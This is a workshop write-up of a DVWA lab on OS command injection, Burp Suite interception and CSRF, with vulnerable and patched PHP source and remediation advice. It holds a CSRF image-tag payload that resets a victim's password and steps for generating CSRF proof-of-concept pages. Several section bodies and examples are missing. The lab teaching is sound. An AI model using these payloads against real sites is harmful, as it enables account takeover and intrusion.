Day 4: OS Command Execution, Burp Suite Interception & CSRF Exploitation

1. Lab Environment Architecture & Target Setup

Building upon the reconnaissance and network discovery covered in Day 1 and Day 2, Day 4 transitioned directly into application-layer security assessment. The target infrastructure was hosted inside our isolated VirtualBox Host-Only / Bridged subnet:

• Attacker Workstation: Kali Linux 2026.2 (running Burp Suite Community Edition, curl, netcat, browser configured via FoxyProxy).
• Target Server: Metasploitable 2 Linux Server hosting the Apache HTTP web server at http://192.168.1.146/.
• Primary Vulnerable Application: Damn Vulnerable Web Application (DVWA) accessible at:

  http://192.168.1.146/dvwa/

• Key Exploitation Endpoints:
  • Command Execution Lab: http://192.168.1.146/dvwa/vulnerabilities/exec/
  • CSRF (Cross-Site Request Forgery) Lab: http://192.168.1.146/dvwa/vulnerabilities/csrf/
  • DVWA Security Level Toggle: http://192.168.1.146/dvwa/security.php

2. What is OS Command Injection? (CWE-78)

Operating System (OS) Command Injection (classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command) occurs when a web application accepts user-supplied data and passes it directly to a system shell (such as /bin/sh, /bin/bash, or Windows cmd.exe) without adequate sanitization, escaping, or parameterization.

In PHP applications, dangerous execution sinks include functions like:

• shell_exec($cmd): Executes command via shell and returns the complete output as a string.
• exec($cmd, $output, $return_var): Executes the command, returns the last line of output, and fills an array with all lines.
• system($cmd, $return_var): Executes the command, immediately outputs the result to the browser, and returns the status code.
• passthru($cmd): Executes command and passes raw binary output back to the HTTP response stream.
• popen() / proc_open(): Opens a pipe to an executed command process for bidirectional I/O.
• Backtick operator: `$cmd` (equivalent to shell_exec).

3. Hands-on Command Execution on DVWA

Navigating to http://192.168.1.146/dvwa/vulnerabilities/exec/ presents a network diagnostic interface asking the user to "Enter an IP address:" to perform a standard ICMP Ping check.

Shell Operator Mechanics

On Unix-like operating systems, the shell interprets special metacharacters that allow chaining multiple commands together in a single line:

Executing Real Payloads in Lab

Test 1: Legitimate Ping Request

Submitting a standard loopback address 127.0.0.1 executes ping -c 3 127.0.0.1 in the background and prints three ICMP echo replies.

Test 2: Chaining with Logical AND (&&)

Test 3: Extracting Working Directory (pwd) & Web User Identity (whoami)

Test 4: Reading Sensitive System Files (/etc/passwd)

4. DVWA Security Levels & PHP Source Analysis

DVWA provides four distinct security postures controlled at http://192.168.1.146/dvwa/security.php: Low, Medium, High, and Impossible. Understanding why each level fails or succeeds illustrates defense-in-depth engineering.

Level: Low (Zero Input Sanitization)

Examining the backend PHP source code for the Low security level reveals direct string concatenation:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input from user form
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows command
        $cmd = shell_exec( 'ping  ' . $target );
    } else {
        // *nix command - DIRECT STRING CONCATENATION WITHOUT SANITIZATION!
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Output to browser
    echo "<pre>{$cmd}</pre>";
}
?>

Level: Medium (Blacklist Filtering Flaw)

In Medium security, the developer attempts to filter metacharacters using an incomplete blacklist:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist array
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any matches from the input string
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Execution sink
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    } else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    echo "<pre>{$cmd}</pre>";
}
?>

Level: High (Regex Character Stripping Bypass)

In High security, the blacklist expands significantly, but subtle developer typos leave attack surface open:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    $target = trim($_REQUEST[ 'ip' ]);

    // High Security Blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',  // NOTICE THE ACCIDENTAL SPACE AFTER THE PIPE!
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
    echo "<pre>{$cmd}</pre>";
}
?>

Level: Impossible (True Parameterization / Strict Whitelisting)

The secure implementation validates that the input strictly matches 4 octets separated by dots:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octets
    $octet = explode( ".", $target );

    // Verify all 4 elements exist and are strictly integers
    if( ( sizeof( $octet ) == 4 ) &&
        is_numeric( $octet[0] ) &&
        is_numeric( $octet[1] ) &&
        is_numeric( $octet[2] ) &&
        is_numeric( $octet[3] ) ) {
        // Re-synthesize strictly sanitized IP string
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        $cmd = shell_exec( 'ping  -c 4 ' . escapeshellarg( $target ) );
        echo "<pre>{$cmd}</pre>";
    } else {
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
?>

5. Introduction to Burp Suite Proxy

Burp Suite (developed by PortSwigger) is the industry-standard integrated platform for performing security testing of web applications. During Day 4, instructor Birendra Sah introduced the core architecture of Burp Suite:

• Intercepting Proxy: Positioned as a Man-in-the-Middle (MitM) between your browser and the web application. Every HTTP/HTTPS request and response can be captured, inspected, and modified on the fly before reaching the server.
• Repeater: A tool for crafting, modifying, and re-issuing individual HTTP requests, viewing responses side-by-side without reloading browser pages.
• Intruder: Automated custom payload delivery engine for brute-forcing, credential stuffing, and fuzzing input parameters.
• Target & Site Map: Passive cataloging of every host, URL, directory path, parameter, and response code encountered during a browsing session.

Configuring the Browser Proxy

To route browser traffic through Burp Suite:

1. Launch Burp Suite on Kali Linux: burpsuite &
2. Navigate to Proxy → Proxy Settings: Verify listener is active on 127.0.0.1:8080.
3. Configure Firefox using the FoxyProxy extension pointing HTTP and HTTPS traffic to 127.0.0.1 on port 8080.
4. Install Burp's PortSwigger CA Certificate into Firefox (http://burpsuite/cert) to seamlessly decrypt SSL/TLS HTTPS packets without browser security alerts.

6. Intercepting & Modifying HTTP Traffic

With Proxy → Intercept is on enabled, every HTTP interaction pauses in Burp Suite. This unlocks deep capabilities:

• Bypassing Frontend JavaScript Validation: Client-side checks (such as HTML5 required, maxlength="10", or regex field validations) only exist in the user's browser. Once intercepted in Burp, any field value can be expanded, replaced with SQL injection strings, or appended with shell characters.
• Header Tampering: Modifying User-Agent, Referer, Host, Cookie, or injecting custom security headers like X-Forwarded-For.
• Parameter Tampering: Altering hidden form parameters, prices (e.g., amount=999 changed to amount=1), user roles (e.g., role=user to role=admin), or session identifiers.

7. Understanding CSRF (Cross-Site Request Forgery)

Cross-Site Request Forgery (classified under CWE-352) is an attack that forces an authenticated end-user into executing unwanted actions on a web application in which they are currently logged in.

Because browsers automatically attach session cookies (such as PHPSESSID) with every outbound cross-origin request made to a target domain, the vulnerable server cannot inherently differentiate between:

1. A legitimate request initiated intentionally by the user from the actual site.
2. A malicious request triggered surreptitiously by third-party malicious code (e.g., an attacker-controlled website, phishing email, or iframe).

8. Method Conversion: Changing GET to POST in Burp

In our DVWA lab session at http://192.168.1.146/dvwa/vulnerabilities/csrf/, changing passwords sends the following HTTP GET request:

Why GET-Based State Changes are Terribly Insecure

RFC 7231 specifies that GET requests must be idempotent and safe—they should only retrieve data, never modify system state! When an application changes user passwords over a GET request:

• Sensitive credentials appear in browser history and server access logs in plaintext.
• Vulnerable to image tag exploitation: An attacker doesn't even need JavaScript! A simple HTML image tag <img src="http://192.168.1.146/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"> immediately triggers the password change as soon as the victim opens the page!

How to Convert GET to POST in Burp Suite

In Burp Suite Repeater or Proxy, you can transform request methods instantly:

1. Right-click anywhere inside the raw HTTP request body.
2. Click "Change request method".
3. Burp Suite automatically handles all protocol requirements:
   • The verb changes from GET to POST.
   • The query parameters (?password_new=test123&password_conf=test123&Change=Change) are stripped from the URL path.
   • Burp injects the necessary header: Content-Type: application/x-www-form-urlencoded.
   • Burp calculates and attaches the Content-Length: 48 header.
   • The parameters are relocated into the HTTP request payload body.

9. Anti-CSRF Token Analysis & Bypass Vectors

To defend against CSRF, modern web applications generate cryptographically random, unpredictable anti-CSRF tokens (also called Synchronizer Tokens) tied to the user's active session. In DVWA High security, every password change form contains a hidden token:

<input type="hidden" name="user_token" value="e0f8c2b7d5a491e3f8901b2a4c6e7f89" />

Common Developer Implementation Flaws & Bypass Techniques

10. Weaponizing CSRF PoCs with csrfshark.github.io

While Burp Suite Professional features a built-in "Generate CSRF PoC" engagement tool, security researchers using Burp Suite Community Edition utilize web-based generator engines such as:

Step-by-Step PoC Generation Workflow

1 Capture Request: In Burp Suite Proxy or Repeater, copy the complete raw HTTP request targeting /dvwa/vulnerabilities/csrf/.

2 Input into CSRFShark: Navigate to https://csrfshark.github.io/ and paste the raw request into the input editor.

3 Select Submission Strategy: Configure whether the PoC should use hidden form auto-submit via JavaScript (document.forms[0].submit()) or XMLHttpRequest / Fetch with credentials.

4 Generate Weaponized HTML: CSRFShark generates the following clean HTML PoC payload:

Simulating the Attack: When an authenticated victim currently logged into DVWA opens exploit.html (hosted on an attacker's web server or sent via a phishing link), the browser automatically submits the form to http://192.168.1.146/dvwa/vulnerabilities/csrf/, attaching the victim's legitimate PHPSESSID cookie. The victim's password is reset to hacked123 without their consent or knowledge!

11. Why Labs Behave Differently than Production

During the BugXploit workshop session, students observed that CSRF attacks in older practice targets like DVWA execute effortlessly, whereas replicating the exact same exploit against modern 2026 production web applications often fails. Understanding these differences is crucial for professional penetration testers:

12. Hardening & Defensive Countermeasures

Remediating OS Command Injection

• Avoid Shell Execution Sinks: Never pass user input into shell_exec(), system(), exec(), or backticks. Most administrative tasks (pinging, network checks, file operations) have native language APIs or libraries.
• Escaping Shell Arguments: If external execution is unavoidable, use escapeshellcmd() and escapeshellarg() in PHP to neutralize metacharacters:

  $clean_ip = escapeshellarg( $user_ip );
  $output = shell_exec( "ping -c 4 " . $clean_ip );

• Strict Input Whitelisting: Validate that the incoming parameter matches a strict expected format (e.g., IPv4 regex /^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/) before processing.
• Principle of Least Privilege: Run the web server service under a non-root, restricted user account (e.g., www-data) with strict sudoers rules and directory read-only flags.

Remediating Cross-Site Request Forgery

• Synchronizer Token Pattern (STP): Generate unique, cryptographically secure, unpredictable anti-CSRF tokens for each user session. Validate tokens on every state-changing HTTP method (POST, PUT, DELETE, PATCH).
• Enforce SameSite=Strict or SameSite=Lax Cookies:

  Set-Cookie: session_id=xyz89; Secure; HttpOnly; SameSite=Strict

  Strict ensures the cookie is never sent with cross-site requests, completely mitigating CSRF attacks.
• Require Current Password / Re-Authentication: Sensitive operations (password updates, email changes, fund transfers) must mandate re-entry of the existing password or MFA confirmation.
• Custom Request Headers: For API endpoints, require custom headers such as X-Requested-With: XMLHttpRequest or custom bearer tokens that cannot be set by standard cross-origin HTML forms.

13. Day 4 Summary & Key Takeaways